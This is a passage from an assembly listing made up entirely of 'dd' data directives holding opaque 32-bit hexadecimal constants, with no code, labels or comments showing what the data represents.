516A14EAh, 3E1C3287h, 5116302h, 758C41E0h dd 0C24356ACh, 9D975F43h, 59825324h, 6E1A436Dh, 2C90CBF6h dd 8FE5D709h, 0F1BEC811h dd 97E2B5Bh, 4BBBFBE6h, 2733881Bh, 1262053Fh, 0D8E1E304h dd 9EC9086h, 69EA3BBh, 0BA52B679h, 0F43DDF86h, 91989B06h dd 0B5B45718h, 2013D76Fh, 7CAE8FCAh, 29399336h, 0AB1C1310h dd 8FA7FC84h, 9EEE89ABh, 0B995B88h, 0C69F78Dh, 9F80406h dd 5A1D6DA3h, 872940Fh, 8AA9D807h, 41124630h, 9A6CF70h dd 328A5B43h, 0FE467D3Ch, 5942B968h, 0EDAE8F60h, 0C3284976h dd 0AC26FD8h, 2198C394h, 22FE2C01h, 0AF51D999h, 0AA7FA8C8h dd 27D98111h, 0B961EA40h, 9D7A08Dh, 0A616D1ADh, 1472E78h dd 0BE8E6920h, 86194C3Dh, 0FB835C7Ah, 7CC2A55Fh, 0AD59AAAFh dd 9611E3DCh, 0A07D3867h, 0E184B8B2h, 0B55CB09Dh, 43C2FBCCh dd 9E194877h, 0E799A1C1h, 0B4D1A200h, 0A11AEB94h, 0FA295871h dd 0FA44E6BFh, 0BDCB1FC6h, 0B687FBD8h, 0F5C6BF2Eh, 4E7CA7CCh dd 0B3BB841Fh, 0ACFAFDA7h, 68BDF398h, 0A15A109Bh, 0A3F117D0h dd 0DE614473h, 3DF3B417h, 91623304h, 59F36E9Dh, 3ADA9D67h dd 5D13EAF1h, 0D05215EAh, 6D5F8EE4h, 6C35CA3Dh, 0B5B06C76h dd 8E661763h, 1BC5FD35h, 0ED78D65Ch, 0A59E1218h, 3C3203D4h dd 6AD5211h, 26C07B7Ah, 8E68A285h, 372F3F2h, 0DFA8F4Dh dd 0D196B16h, 9141F4h, 4124F8E0h, 7809BFBDh, 0B9BC407Ah dd 756C17CCh, 2B6810F9h, 0EDB76738h, 0EBF74B1Ch, 0ACC8ADB9h dd 483133E1h, 0EB9233C5h, 91EE3E0Ch, 0C0AFB5C0h, 11D48FC8h dd 985D8DB7h, 895A2B14h, 0A897BAB8h, 1E4B8E9h, 81DEC2BBh dd 5C91BDAh, 3A06DF8Ch, 0F1C22AE0h, 0A592CE20h, 3D3A0BDEh dd 25F7C3F0h, 67277C54h, 166E092Bh, 7DAE7630h, 15E6B68Ch dd 39A21914h, 8D5E2F04h, 4948B9EAh, 8743582Fh, 0F292550Fh dd 79D99239h, 680ADBADh, 0A4C4FD39h, 0B1EA524Eh, 3F7E0FE0h dd 12B45E63h, 6020876Eh, 0F12937E2h, 5C2A9784h, 0E6BDBB8Ch dd 0D78653FCh, 49D3304h, 4D28D3EEh, 7D1A2E25h, 9582842Eh dd 8138F77Fh, 6B598EE2h, 0C20C0E93h, 30DF571Eh, 27926624h dd 16CC5A5Fh, 0BE378B6Ah, 0CF21155Ch, 0F6BF5B90h, 1DEEBE94h dd 0B36A48E7h, 3E956E18h, 172A394h, 5F8EFFD0h, 0F2CCFEC3h dd 41D727CEh, 4112E1BCh, 0F5EAEB8Fh, 8594CED3h, 8A1517DEh dd 73ECD31h, 0E97CD260h, 0A344CB1Ch, 0EE7006ADh, 17E7BF19h dd 50B79C50h, 0AF7A3B99h, 3F7F4C8h, 0D166617Bh, 0CC81E74Fh dd 0D552BFCh, 4516E6A8h, 74E89DF4h, 830E1920h, 78CE14ECh dd 0B506D7A9h, 0B7B35Ah, 0FD40CE66h, 1C7D4595h, 0E3394CDAh dd 0CAFD8212h, 9D046EDEh, 0A679AD9Dh, 23DAA11Dh, 10992A44h dd 8D81AA0Fh, 0CC97EBBCh, 5E0B9F4h, 0CDFA635Eh, 2D4E1FF0h dd 2F9F24FFh, 0C8C6A154h, 0B1825328h, 6D818AEFh, 9813CB9Ch dd 64B68758h, 0E820132Ah, 0F8ABF086h, 9AEABB8Ch, 0E90A7F8Eh dd 8E63C09h, 711EEFC0h, 0A529DE5Ch, 40995D04h, 81522378h dd 1D2ED21Dh, 0D8F7BB4Ch, 0C0F2324Fh, 517EBF9Bh, 537FB3D5h dd 9DD2ABA3h, 2407326Ch, 5B4200AAh, 759B90BFh, 0D9553C8Ah dd 85DC0607h, 0A622F3E3h, 9821FD62h, 0C9AC508Ah, 0D506E7CBh dd 48FAB3E4h, 0B9CE9F70h, 0D5E42C43h, 75227687h, 0D24465Bh dd 2D3B8F56h, 60497D68h, 59668251h, 49A3C3A2h, 5DAE7D50h dd 0C93C6A5Dh, 690C6237h, 846FB3B2h, 0CDA874D7h, 0DD9318ACh dd 1444B7E9h, 5F475C25h, 3A8E690Bh, 0ECB53FE8h, 3530EC9Ah dd 7C42509Ch, 0AD485A4Fh, 3F9F2DDh, 0DAF7AD99h, 0E5C17C67h dd 5DEB2AEFh, 8219A1B8h, 1E556703h, 5C9E2347h, 0BB4394B5h dd 45A060BCh, 8ED6A779h, 0C1936BBEh, 56B61CF0h, 0F281BB67h dd 81A7319Bh, 44601421h, 0AABD210Bh, 0E5719893h, 0B5620C0Fh dd 0F0322940h, 0A2D19582h, 2FD14919h, 0B32BFC48h, 1262053Fh dd 8235E304h, 0CEDD42FFh, 2D960D3Fh, 821DAAF4h, 7B418C73h dd 0AB8BCC38h, 0DCCB0B6Dh, 22D6187h, 718AA9CFh, 8DD4E20Bh dd 0F9053077h, 13407697h, 4B9AD1F5h, 0B0D90929h, 0D03A5967h dd 3E4E83BCh, 0DACCAF2h, 0AEE80A68h, 0EA1E539Dh, 431297C7h dd 0A89E9F70h, 0D05AD45Eh, 5B22749Ah, 5767BADEh, 0EDD2FF4Eh dd 0E2390252h, 0D5B66F8h, 5898AEF7h, 8EFB7523h, 0F14A6949h dd 1B6FB882h, 789495A4h, 0C7EB1B32h, 895AC3A9h, 0C44BE7B8h dd 37CC3D99h, 0D20B9930h, 794A2DF9h, 0E8C4257h, 19039352h dd 0C7423B3Fh, 2B8F80C2h, 7CF6F1A3h, 949CBFF8h, 0A3EF593Ah dd 7A5FE633h, 29A00A05h, 0A7297372h, 0EBFB7802h, 0F29F6619h dd 8AD6914Fh, 0F7A582B1h, 3BC7E5F0h, 0C7445756h, 17C72693h dd 59D2B8EBh, 92C1F4C8h, 21DEB71Fh, 0DF2F25Ch, 0A172431Ch dd 736DB983h, 19A6F7C8h, 0EE30E2B7h, 51693332h, 278DE2B4h dd 9C25F87Eh, 0C5A05C06h, 69C1F30Bh, 0C2F1212Eh, 0F9CA9084h dd 0F6C00428h, 5F115CBBh, 2DB283E4h, 0D22C1EA3h, 269E472Eh dd 89CDFC2Ah, 0E2114996h, 0CB79F6B3h, 5C55373Eh, 6ED27649h dd 5C8FAFB6h, 98CA3A6Dh, 10A976A9h, 4124D826h, 0FDCE9498h dd 0FCD90E2Ch, 5B7424BAh, 314E9FE0h, 0D6281A9Fh, 0A3924B2Ah dd 123607D8h, 4880B3E7h, 9CC80B3Eh, 0C956B0Ch, 5510CCF6h dd 2AA4360Dh, 0FC916F76h, 902FA671h, 0C09FE78Eh, 1E49F38h dd 2B1BA061h, 0EA4A2DD7h, 3506D3C0h, 73771E64h, 0F47E7939h dd 5508B651h, 0EC1EC7AEh, 874D7CA1h, 830BBAD7h, 92AFBFAh dd 0B81120Bh, 5CA27372h, 0BB400A95h, 234EBBBCh, 57D6CD79h dd 0C192615Ch, 4BDBE070h, 0BC0AED90h, 0D7B3CDA8h, 0AFDADEA9h dd 76C0FD6h, 4C4F469Ah, 0B1B6B146h, 0F0221342h, 67BB0082h dd 41EA8DB0h, 0E994E2B7h, 14A43332h, 4D28D193h, 9D6437Ch dd 96C16738h, 0B21960BBh, 714AF182h, 6C359B20h, 0B5B06CBEh dd 71457B77h, 9873CFA0h, 0E98C9385h, 0A7CBCA41h, 893235E8h dd 0E2114AD4h, 0D9AA77A4h, 0DB2F6008h, 567BD8Dh, 4192EBAEh dd 5F0F943Ch, 5611C3h, 7496EC74h, 6ECE9F72h, 0B98A5E44h dd 62F39AE8h, 6802E5BDh, 0D1A032EDh, 0A4924B2Ah, 0E6C9F82Dh dd 17CEE129h, 59A17F50h, 996A391Ch, 54B61B49h, 79B6B384h dd 0CD9E6E41h, 0B558BE03h, 8197E78Eh, 1D2A2E4h, 0D75AD460h dd 0ECB549ECh, 3530EB8Ah, 849B53E1h, 0BEF6272Dh, 0FCC50BDCh dd 25C0FC2Eh, 5C3161BFh, 9D582177h, 0D4038ECCh, 23F8DC0Dh dd 445D2344h, 8D68130Eh, 0CD152B39h, 5D6A6F1h, 4A9E23BFh dd 0F27EE0F0h, 0F14BC29h, 0A6435168h, 0B082651Ah, 6C540F8Ah dd 0BC05C9F6h, 0E580BB42h, 0AE8DBB97h, 5D2F9F54h, 8C67288Ch dd 0D590692Bh, 0C230236Eh, 71147A3Fh, 0C95FAB4Ah, 0C4D6E237h dd 3CDF23F4h, 3D38C1CDh, 0BA2293DDh, 0DD79A8D2h, 71421370h dd 0A418E4FEh, 16EEAF68h, 934DC98Dh, 0EA8F8ED4h, 0ACEE898Eh dd 238E934Dh, 0EBC8F7h, 5114EDBCh, 19B6AFEAh, 9B9A6B3Ch dd 93C3D8ABh, 0CC12D588h, 70DABB34h, 8FB5ABB9h, 0C34947E8h dd 154658AEh, 0E55E4E74h, 0BB7B011Eh, 2F240592h, 5B6C897h dd 0D24FFF58h, 0C862DBCDh, 4502B3C3h, 9CB2817Bh, 0FBA23BFDh dd 8946C3FCh, 6B33E7B8h, 2FF2DB42h, 87AE7110h, 576F3EC9h dd 4D23AF90h, 0FBB1B644h, 0E337006Ah, 966D0BFCh, 13CD810Dh dd 4D760254h, 0F76E3F10h, 0A7DABCCh, 29F02277h, 5C297372h dd 8D683A88h, 52F9EBD6h, 54DB6E13h, 0C19266DCh, 196B39F0h dd 0C65DDBA6h, 0C3FDD1FDh, 0BD46D024h, 535E4B0h, 29FACB9Bh dd 0FB273AD5h, 0F2254322h dd 61386A2Fh, 0D96FBBBAh, 602B2336h, 91540F50h, 58964A43h dd 84DAAB4Ah, 0F3A834B5h, 0EB9C08F4h, 6E588EB0h, 0C5D80E93h dd 4D05571Eh, 0E06D6DE4h, 9873312Bh, 0E98CB708h, 0B844AA8h dd 895213A1h, 0E21145A1h, 3ABD092Dh, 9411BA01h, 9EA9192Fh dd 0B05361ABh, 0C9AC5768h, 72D1830Bh, 0BE415A5Fh, 0CBF299E5h dd 0D637DB2Ch, 744621FDh, 16AF9D0h, 12BE8F15h, 9F41FD89h dd 368B87D8h, 21F2F5AAh, 58696E24h, 995C256Bh, 5526F7C8h dd 2FB13642h, 249E6F76h, 76A5D5F4h, 506E627Fh, 1D2A342h dd 7FD3DF30h, 73471BE8h, 5A68F7E7h, 9EE2FD0Bh, 0C4126F46h dd 491B6EBAh, 4C82E7D7h, 9592E639h, 0F80D1F7Fh, 2B489EA0h dd 3483C3E9h, 0F1827949h, 0C27E0F20h, 246F989Ch, 25A4C215h dd 0A5E00253h, 706F7195h, 556F89A6h, 99B2F90Dh, 0DDF12041h dd 0C562F99h, 983BBECh, 0C5D2E939h, 0C4023B71h, 334F8BB3h dd 6ACA97F8h, 0B1C8163Ch, 0AB055D6Dh, 4713C2E0h, 6AAECA2Bh dd 0A2F80E50h, 0ED3E42D4h, 446FBB90h, 9DA4FA4Ch, 0D2EF3908h dd 516E678Ch, 0D8CA0C6h, 8CD3F93Ah, 85052376h, 45239Dh dd 10D4CBF9h, 0BCC22C46h, 0F446527Ah, 280296B6h, 2DF2DAEFh dd 0ACF3195Ah, 0BA254396h, 2C7DA094h, 0B4EEBE15h, 0CAE37B58h dd 182F63C8h, 7822F2C1h, 0CDCDA814h, 0CC0E2A70h, 0A2B203F9h dd 87E6D0A4h, 0D6D4CB40h, 280DD009h, 0F332DE19h, 7F9D2A94h dd 5DE91420h, 22037CF0h, 6EE0982h, 7E3D44DBh, 4A3E04D1h dd 0C1F949CCh, 59CA8B70h, 0F1C293A6h, 0AD7E4F20h, 693A0BDCh dd 25F6C798h, 0E1B28354h, 9D6E3F10h, 592AFBCCh, 15E6B788h dd 0D1A27344h, 8D5E2F00h, 491AEBBCh, 5D6A778h, 0C1926334h dd 7D4E1FF0h, 390ADBACh, 0F5C69768h, 0B1825324h, 6D3E0FE0h dd 0C2238F9Ch, 4035E748h, 0A1447CD4h, 998B7CD0h, 19EA8DB3h dd 0C1E5C047h, 9E7A6089h, 4E18A477h, 2D9E20ACh, 0C9D44C1Ch dd 0C3693A86h, 0B61AACB8h, 0BBE18F2Eh, 7513DE24h, 0F84225DBh dd 1BC10B25h, 6ABF605Ch, 7C946FDAh, 6136C1B5h, 39BE3A18h dd 0BD427B7Ah, 0FD663708h, 5122F3DBh, 2EA32A0Dh, 0F0C36B0Ah dd 65A53E0h, 0B6F0E774h, 0C26E1A8Fh, 4E495B1Ah, 25CB1431h dd 0D202E580h, 11CE7070h, 41F94B93h, 0ECC0E5DCh, 17D1BE09h dd 0DD94FC50h, 0AB413E78h, 0D83685CBh, 4ABA4FCAh, 0CDA4EC1Eh dd 0BBA52F88h, 37E9E453h, 0FE854B64h, 73A5A0CFh, 468E96C7h dd 365ED79Eh, 7E01A72Fh, 9B41EBA5h, 0C9BFCCDCh, 25F6F1A7h dd 9B28354h, 9D6E3F2Ch, 668A7E47h, 0A50EB7BEh, 395D8CB2h dd 8D5E2F18h, 76BA563Fh, 70D6A74Eh, 380FEA3Ch, 964E29D3h dd 99872430h, 36C6A157h, 8E26D6ABh, 0F8B70FD6h, 29CCF43Ch dd 0E5B684B0h, 62BB7014h, 5DAE6C5Bh, 0F1B8BB8Ch, 2A5989A5h dd 0AEA6A607h, 9B1DEFF6h, 9D6D1FFh, 0C491E337h, 0FBD123F4h dd 0B901DFA0h, 0F9CA9B91h, 0E58A15A3h, 8EBCDB0Ch, 0E97BCC5Fh dd 0EABABD63h, 0ADFC17DEh, 1532FA54h, 33173F89h, 32EA7838h dd 942EBCF9h, 8EFD1245h, 0F45F705Fh, 0C9D62778h, 0AE0FCB8Dh dd 0BBEB607Ch, 0FD79107Fh, 38EC5B2Ch, 4775E990h, 31A956ABh dd 6EE88F60h, 0AC0F4B26h, 8E264D53h, 22F84896h, 0AF462EA1h dd 9A95C4F2h, 6319337Dh, 0D1671E84h, 49919438h, 895A2B78h dd 7AD25247h, 0E982A342h, 4271A165h, 468E9EEFh, 0B089D79Eh dd 0F1F4ACA0h, 0FE5A4B23h, 5A38CB5Fh, 2D40C843h, 283291B7h dd 0B9AF6C30h, 4503FFE8h, 31EA9EACh, 3849331Fh, 5A51D481h dd 776E3607h, 407E5CF9h, 0F7E6B85Ah, 4617E471h, 177E240Dh dd 0D7106CE9h, 97F6FF91h, 84ADF461h, 378E38C4h, 0CCB7CD9h dd 0B706B04Ch, 62680451h, 179E5AA9h, 0EA968CC9h, 9716D221h dd 72BA7A3Fh, 0E081AB4Ah, 3A699849h, 9590A0AAh, 0C2F03059h dd 93C85893h, 0E56E0F2Ch, 0F9BDEC11h, 1BD8E535h, 0D802ED5Ch dd 65944500h, 83300030h, 1B8414F6h, 2C9F9314h, 57E5C8F7h dd 3BF374CCh, 2536F785h, 496594C9h, 8E252402h, 0C410B304h dd 0FDF8B95Ah, 0D3ADB086h, 0F5EC4F80h, 2977D05Eh, 0E5569ED0h dd 1185B4E9h, 653607D9h, 2C861110h, 17509F81h, 9C81CDE7h dd 5526F770h, 0AE001804h, 510BE283h, 0A25A1DC4h, 86CC106Fh dd 395D2683h, 0BD8E5F06h, 0EC4513ECh, 3EE61668h, 0C94F1692h dd 0D87F4F16h, 0E0376DDAh, 0D3E52CBDh, 0D78A0ED1h, 9B1B3D10h dd 7C1BF6AAh, 1880B363h, 7AC45645h, 72A193E8h, 7D596043h dd 3A6E32F1h, 2396302h, 45C19A07h, 390ADB9Ah, 60C99F68h dd 1B3E57E4h, 92C19308h, 956F4263h, 13B6B167h, 974ACE91h dd 595BFED0h, 1B018A83h, 160DB763h, 0A9EDB6F3h, 4D1EEFF6h dd 2EAEA37Ch, 0FD1FE2B2h, 619323C2h, 0B603B9BBh, 4961FD29h dd 300CFDD0h, 71742B6Dh, 28E52F61h, 0EF33EF3Bh, 0C3B674B3h dd 0D920E87Fh, 1DEB30F4h, 502FF1E7h, 91660130h, 49C2329Ch dd 0F16E6C2Bh, 71FC4BD7h, 2E302713h, 4578FA5Fh, 9D77728h dd 0BD07A4D3h, 7DA6D63Ah, 0F18BD6C2h, 0EE552406h, 0C3D0DBACh dd 65DE5FDAh, 0A50D3C60h, 0B79C0B82h, 6D826304h, 0ABD9083Bh dd 6521C14Eh, 0B9549185h, 0FD90D535h, 31DC1963h, 75185D78h dd 0C944A13Ch, 92B3ABE0h, 0DEFB6765h, 1A3723ADh, 4686FFE5h dd 0D4B7C81Dh, 25C0FF04h, 0D93D06A3h, 9D6E3F26h, 5A5E7BCCh dd 0E24CD738h, 0E79AFCC1h, 8D5E2F00h, 0F11D9FB4h, 53A2C2Dh dd 44652C9Fh, 7D78277Fh, 380ADBAFh, 0F5111367h, 59325324h dd 0D0B7A44Ah, 29CCF434h, 4E1C6FE8h, 9EDEFE9Dh, 0D8D9FFE6h dd 19DC8303h, 0D5A6774Bh, 14952670h, 4D28D74Fh, 8DAAB7Ch dd 47E624Ch, 31ADDC0Ah, 0B6A57559h, 0CFF533E9h, 9E49DC28h dd 0C1FF9A2Ch, 0A4FEF99Fh, 8E027714h, 0E40B87Ch, 0CA54C3E7h dd 25613A67h, 0D9A97B7Ah, 9B123708h, 69AF7632h, 795EAFB6h dd 37D88339h, 0E2EED807h, 0EA346AD0h, 56A85F43h, 8105DEDBh dd 754517DEh, 6476D3A4h, 0D5330A96h, 0DCFA4B2Ah, 9B28EFDDh dd 851A3C6Bh, 6D5180ADh, 62DCD32Ch, 6CC50837h, 41D0BE2h dd 660FC426h, 0B1D5BE77h, 97E1E78Eh, 1D16183h, 0A9FB5F30h dd 86B76504h, 0DD196757h, 0E3D68F4h, 0B881F746h, 0C2ABA0BAh dd 0A07D0813h, 0E184BCE4h, 0D5E7F73Bh, 0D6AF0C30h, 16E681B0h dd 0A5A27344h, 2DBD82Eh, 491ADD84h, 71D0A778h, 4E179416h dd 7D4E29C8h, 4C0BDBACh, 8347F6Dh, 3475ACDBh, 6D08376Fh dd 2DFACB9Ch, 0E85E822Ch, 568DBCEAh, 6B167055h, 19EABF8Ch dd 3DB10348h, 6E9DCD63h, 0B3DEC678h, 16200B4h, 6E9213F8h dd 6AAA564Ch, 0B8F974D7h, 0F9FCA3E3h, 0B5865720h, 0CCC25C91h dd 2DC8F72Dh, 1FCFF5Ch, 5A89B923h, 482A2A6Ch, 944BB559h dd 19AA4D74h, 306C34ECh, 5114CB4Dh, 0A76F1F2Bh, 0F117EEB6h dd 35FC27CEh, 0C897E9F4h, 57CEA948h, 4468E34Ah, 4DC9921Fh dd 3112D392h, 0EACA8F60h, 0CFD002ACh, 3CA7260h, 8B1A733Fh dd 5405BF63h, 0AF55AFB1h, 0DAA300C8h, 31E285BCh, 0B89E6F40h dd 83029BF5h, 732E603Dh, 0B9B40974h, 38799FB1h, 797C2363h dd 3506D7E8h, 35429010h, 2ADB4508h, 0F3A3DE4h, 0BD4B4E33h dd 4AB2B56Bh, 0A5E1BAE7h, 592AFBFAh, 1C93F788h, 54A023F4h dd 8D681787h, 0C69F1C16h, 85D69140h, 0B4926334h, 77F6AFFBh dd 0F325329h, 0C82D3D68h, 0A9B3EB42h, 55B18A17h, 28FACBAAh dd 0E7C28758h, 4786AA4h dd 5D18C758h, 13E95F4Ch, 0E39EFFEDh, 0F7C95504h, 0BAEE6E78h dd 3FE224F9h, 0C5946738h, 355056F4h, 0B5ABD578h, 9FCAAD54h dd 13BDE83h, 0C94225DBh, 2DFEE73Ch, 663F7CF7h, 0AD767120h dd 153203D4h, 0E0DF57E1h, 5C5D84B3h, 95500F87h, 5122F7C4h dd 0B56EA4F5h, 0F113EE36h, 6EFC27CEh, 0CE9714F9h, 0FDCEA948h dd 0CC8A5B24h, 0F6FE71F9h, 0B8A7D944h, 8BBEB958h, 3BA78B7h dd 0DD501233h, 84F8DBBDh, 0DD9847D9h, 9369DFCCh, 631E7E6Dh dd 0E649D584h, 0FBA6E0C5h, 894A2BFCh, 0C4AE81B8h, 81D1D7B4h dd 188457F4h, 797C2365h, 83097CCEh, 0C7FA1EE1h, 6D96E420h dd 9EC5F420h, 13CE481Dh, 0E1B28354h, 2D674B50h, 0DEAFF99Ch dd 0BFE681B0h, 0E92DF6B3h, 0AD5E2F36h, 0CFAAEBBCh, 1D2A50Dh dd 4B6C2CB9h, 4B769855h, 0A58752ACh, 93C6A157h, 0B47ED38Fh dd 6D8E0895h, 6905841Ch, 19CF6FF2h, 2485BCEBh, 5D18C75Fh dd 19EAFB8Ch, 0E4C0CF2Eh, 0B8D63171h, 55AE44A6h, 31532E76h dd 2556670Eh, 0D5BA89F7h, 8DF1204Ch, 764F6CE4h, 0B5866110h dd 4421364h, 0A7787FA2h, 0DF820CF9h, 25DD2118h, 66470628h dd 526EBF20h, 31003BB3h, 6A99CB23h, 69AD7633h, 0DDEAFB6h dd 0C2EF6B3Dh, 5C6748h, 4124DB33h, 9BC174DAh, 0B34AD894h dd 437E904Dh, 81A9B5A4h, 68492561h, 0A94C7393h, 653407D8h dd 0A405ECE1h, 0DD9847DFh, 996E3B0Ch, 9596EDBDh, 296B368Eh dd 68146F76h, 896C1372h, 23060779h, 0AA53C5CCh, 0B5655F80h dd 0FC405B5Ch, 3530EF21h, 7E4764CEh, 0AD7E7918h, 1C3A03DCh dd 0A64EA188h, 691789BCh, 0FB6E0928h, 0B22B4B67h, 1FAE0780h dd 0E79AFBC1h, 8A98500h, 492CD333h, 5C6A778h, 0E4E71685h dd 85CDA796h, 1827EA6h, 5EA0975Eh, 98289317h, 5B01935Dh dd 0A67F3C9Ch, 0E5B6B160h, 0D4726314h, 0B6594ECFh, 1052DD97h dd 5D037D50h, 5162053Ch, 0E814EC24h, 9EC93F4h, 78BFCC5Eh dd 81641C68h, 98841E3Ah, 0F9FCA4F0h, 0ED36FC4Eh, 49C596E6h dd 0DA54CF96h, 0DF8204D9h, 0A5764418h, 961077D5h, 2BD63015h dd 0D9AA7B4Ch, 6270420Ch, 671A7C41h, 0DDEAF80h, 219F1E3Fh dd 7AA9DD7Ch, 0BEE8485Ch, 724B688Fh, 0B98A6D14h, 14E17E8h dd 9BCB63A7h, 0D5310A97h, 0A97A4B2Ah, 454287D8h, 0A4D8C424h dd 0DD9847D7h, 9470DBCDh, 5502FF41h, 29651686h, 295E6F76h dd 8D9EABFFh, 0EF775713h, 0E12D1B12h, 8509FA3Ah, 0D22C1BDAh dd 0D89525Fh, 0F1E29352h, 0FE0A4F20h, 51B58E2Bh, 25F6C7AEh dd 0ECC6A354h, 9D6DF8E7h, 5C5EFBCCh, 0FE4C2738h, 5A65F8B7h dd 0BB61BB8Dh, 0C0DBC0BCh, 5D665B39h, 0F915E63Eh, 8AE41FC6h dd 0F325429h, 0B5C69768h, 0D78E2724h, 67FD5F58h, 1FC24C19h dd 83BC6C58h, 0AB92BCACh, 6B167875h, 0EE41DD8Ch, 0E39EF8CDh dd 91623004h, 0BA6D9BC1h, 3FE224F9h, 0C5966738h, 765F57D4h dd 3D0EDC77h, 49CFEF6Ch, 466DFDB8h, 0F4C9DC6Fh, 2DC8F00Ch dd 0A1334377h, 52BF74E4h, 570A8C51h, 9DEEBF90h, 54A40E4Ch dd 0A35EB08Dh, 112A79C4h, 7EDD5600h, 49EE6C4h, 854603BCh dd 0F11A0375h, 0FB2D34FBh, 79BBE34Ah, 0CD20BC8Eh, 896A532Bh dd 0EFBE8F60h, 0F1D12DFDh, 10FF8273h, 104AA592h, 6D051990h dd 1CE791CFh, 5510CF54h, 296D3673h, 0CD9E6F76h, 8F2F3BFCh dd 1DEECCEFh, 5259BA9Fh, 96767418h, 0CDC7903Ch, 3406E197h dd 0C7FD07F1h, 26474E20h, 0E03E2F98h, 13E6AE25h, 790F0854h dd 0B66E092Fh, 6F156F49h, 9A634088h, 91A2457Ch, 0F95E2F00h dd 0E2C21CBEh, 53D6A3BAh, 0D2FE063h, 7D4E29CFh, 38D35FA3h dd 0F82E9768h, 0FA825324h, 28705DA5h, 7C8F8D0h, 0E5FACB1Ch dd 9A0CD6EBh, 0D8A7FFE6h, 19DC846Ch, 0E9FEFC1Bh, 0E29DEB07h dd 795D64E8h, 0F62F4B94h, 503ECC7h, 0DA5215CBh, 0B4029DB3h dd 0CFF57FE9h, 0BDC45428h, 4EAA966Dh, 5E75CF96h, 69097474h dd 4D764718h, 9ECDF66Dh, 222E021Bh, 31FC7B7Ah, 6A99C2A5h dd 6EE2664Fh, 4755AFB6h, 0C5D06834h, 6CD5E9D3h, 219AECB1h dd 0F2CE9F71h, 0B98B01A8h, 0B1F314E8h, 3202E59Bh, 0DB810BD5h dd 4146E71Ch, 659482D7h, 677FC394h, 592B5454h, 9A6A0D33h dd 3FCEA7CEh, 921D4C71h, 0FBA1AFFDh, 822F2BFCh, 4A1AA083h dd 1D3B8F7h, 8482B430h, 4F75DB79h, 3883D8A8h, 0F2C29365h dd 9B41CBA5h, 51BB6DDCh, 0A0F9E267h, 0E1B283A8h, 0B66C7F9Bh dd 0B17ACF8Fh, 0EA1942A5h, 0EE62CE7Dh, 8512F36h, 491AEB58h dd 3A12227Bh, 44916302h, 7D782074h, 7E21DB27h, 38449864h dd 8A825324h, 0EE3107A7h, 29FACB58h, 0E6B447DBh, 24715753h dd 5D18C054h, 0AC15EBDEh, 0D59048A8h, 0AA5CA6FBh, 0C844EFF6h dd 0BE5FA4BCh, 2C966738h, 81522368h, 0B801208Ch, 0F9CA9BF8h dd 0BA9369A8h, 71429861h, 2CB844A0h, 0B98EC877h, 5A82FBF0h dd 0A18F3A2Bh, 68EE89AFh, 1D2F783Bh, 96660137h, 671D7741h dd 0E15B2680h, 429A5D03h, 61D31CF8h, 3312D58Bh, 154BA478h dd 0CB8A6D13h, 75462A81h, 670A3A4h, 0EDBE9088h, 5534C61Ch dd 671DC653h, 1AE28197h, 0EB9193D5h, 1A664E0Ch, 64D9E70Ch dd 0DC6F70Bh, 0E858421h, 0B6FEAE73h, 0CE76E78Eh, 37ED27C1h dd 48D4B730h, 0D02BE413h, 0B506D7A8h, 0B6E99D11h, 96773D2Ch dd 0EB35039Bh, 0DA0938A4h, 53378C1Dh, 1691C0EEh, 0FEABDFF0h dd 15E69F07h, 0AE5D8CBBh, 0C7DF6DEBh, 491A8B98h, 0C5E5E998h dd 46B66FBFh, 4B71D375h, 0F18F52ACh, 78C6A157h, 0B1AAC09Dh dd 0E9BB0CE0h, 4FFAFDA3h, 0CEF822FDh, 0B53040D2h, 9B22BDFBh dd 0DE0240CAh, 0D5A623C9h, 91623604h, 0B15866C0h, 5E19F523h dd 0FE1CF2C7h, 699323C2h, 278BD0AFh, 0A9CA9B6Dh, 0DFAE3D7Ch dd 9BD7EC1Bh, 0A8FEF99Bh, 61B5D49Ch, 0A576461Dh, 9ED7593Ch dd 1DFF576Fh, 0BCF97B4Ch, 0F90F717Ch, 3247A0A1h, 79B7DDF5h dd 369A2A45h, 0B3697F4Dh, 7F871CB4h, 74CEA94Bh, 8FB53BA9h dd 755FFFE8h, 5451D3A4h, 88D5EE34h, 0CC143C53h, 0C5E74AAh dd 488093E4h, 0B8C21626h, 0CE6A5E6Bh, 0AACFDC20h, 11F15B7Bh dd 0A8CD6F40h, 0FD294EAEh, 157395D7h, 68A4CA06h, 0D8E93A5Ch dd 74A24CECh, 0DDF92841h, 0F1C29376h, 0CC3C2A73h, 194F60BFh dd 539FB5C8h, 86D7EF3Dh, 75393F75h, 0A6D5133Ch, 15E6AF60h dd 92C72044h, 0EA304E68h, 3D75A5D9h, 55AFC111h, 0A8E40A46h dd 18297A9Ch, 0F4E28CACh, 0A5396880h, 2D07DE70h, 73E39DAh dd 28909BF8h, 1323780Fh, 2872752Fh, 0C8D1DBECh, 19DC80BEh dd 682BB762h, 91540D50h, 0B24EBF90h, 3FE037C9h, 0C5970F38h dd 0EB0623F0h, 0A8F188B1h, 0F9FCA40Ch, 0E2823D7Ch, 4E22861Bh dd 0E97DCF96h, 0B10F7448h, 5A767127h, 57096D41h, 902DE090h dd 0EF942FF9h, 996108h, 5114C8B6h, 2215703h, 0C99AD0B8h dd 0E1D3AEF8h, 2B12D58Bh, 6831C970h, 0B9BC6082h, 0F149D76Dh dd 3102D300h, 0BDEE4F4Bh, 0C32A4876h, 65366FD9h, 0DEA40394h dd 0EB9531C5h, 6692B80Ch, 50CE73C7h, 946BB384h, 0CDA85028h dd 0B636A671h, 0D09BE78Eh, 1E49C00h, 0BDE40D61h, 3DFE4BCh dd 0B606E193h, 75CD6C9Ch, 0AD7E4A96h, 0DCC50BB6h, 25C0F8F0h dd 0DAC416ABh, 65ED3F26h, 0C6AEF433h, 9CE6B78Dh, 0E79D0FC1h dd 8E971C00h, 184ABA7Fh, 0FA87A312h, 0F7AD0B81h, 2FDBE0F0h dd 0BC0AED97h, 8E4298A8h, 82825321h, 0EDBB8629h, 78FAFDA3h dd 0FADED609h, 0F1724C14h dd 66B46A2Fh, 0D96FBBBAh, 0D092F347h, 14EB3304h, 4D28D044h dd 662913BFh, 8E1D6738h, 0ED7D4CCh, 3D0EE988h, 8CDA9B6Ch dd 0DC03542Eh, 424225F4h, 0DA3FCC72h, 605B7CADh, 9349D79Dh dd 49A9BBD4h, 5665BF90h, 0B02F7870h, 0A6660118h, 0A6E3F016h dd 843F5871h, 0FFA5E3B9h, 3259E4F8h, 0A2EBE5FFh, 0E59D1245h dd 0ADC9EC23h, 1E0FC7EBh, 0E101FB65h, 9AE1B5E1h, 0DD832575h dd 694C84C5h, 